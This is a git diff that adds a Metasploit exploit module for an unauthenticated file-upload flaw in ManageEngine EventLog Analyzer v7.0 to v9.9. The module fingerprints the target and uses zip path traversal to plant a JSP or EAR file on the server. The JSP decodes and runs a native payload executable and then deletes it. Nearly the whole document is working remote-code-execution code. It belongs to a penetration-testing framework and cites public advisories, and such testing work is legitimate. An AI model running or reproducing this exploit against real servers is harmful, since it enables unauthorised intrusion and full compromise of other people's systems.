diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb new file mode 100644 index 0000000000..c4a1c6d1df --- /dev/null +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -0,0 +1,337 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. + The vulnerability exists in the agentUpload servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. By combining both + weaknesses a remote attacker can achieve remote code execution. This module has been + tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions + between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, + while versions 8.1+ are only exploitable via a JSP upload. + }, + 'Author' => + [ + 'h0ng10' < + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'WfsDelay' => 30 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014')) + + register_options( + [ + Opt::RPORT(8400), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri("event/index3.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ + return $1 + end + end + + return "0" + end + + + def check + version = get_version + if version >= "7" and version <= "9" + # version 7 to < 8.1 detection + res = send_request_cgi({ + 'uri' => normalize_uri("event/agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 + return Exploit::CheckCode::Appears + end + + # version 8.1+ detection + res = send_request_cgi({ + 'uri' => normalize_uri("agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 and version == 8 + return Exploit::CheckCode::Appears + else + # We can't be sure that it is vulnerable in version 9 + return Exploit::CheckCode::Detected + end + + else + return Exploit::CheckCode::Safe + end + end + + + def create_zip_and_upload(payload, target_path, is_payload = true) + # Zipping with CM_STORE to avoid errors decompressing the zip + # in the Java vulnerable application + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file(target_path, payload) + + post_data = Rex::MIME::Message.new + post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") + + data = post_data.to_s + + if is_payload + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 and res.body.empty? + if is_payload + print_status("#{peer} - Payload uploaded successfully") + end + register_files_for_cleanup(target_path.gsub("../../", "../")) + return true + else + return false + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + version = get_version + + if version == "7" + return targets[1] + end + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) + if version == "8" + # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method + return targets[1] + end + return nil + end + + res = send_request_cgi({ + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body.to_s =~ /Windows/ + return targets[2] + else + # assuming Linux + return targets[3] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit_native + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + + jsp_payload = generate_jsp_payload + if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + return jsp_name + end + + + def exploit_java + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") + end + + target_dir = "../../server/default/deploy/" + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + ".war", war_payload.to_s) + ear_file.add_file("META-INF/application.xml", app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + + if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") + sleep(datastore['SLEEP']) + return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) + end + + + def exploit + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + if @my_target == targets[1] + exploit_path = exploit_java + else + exploit_path = exploit_native + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(exploit_path), + 'method' => 'GET' + }) + end +end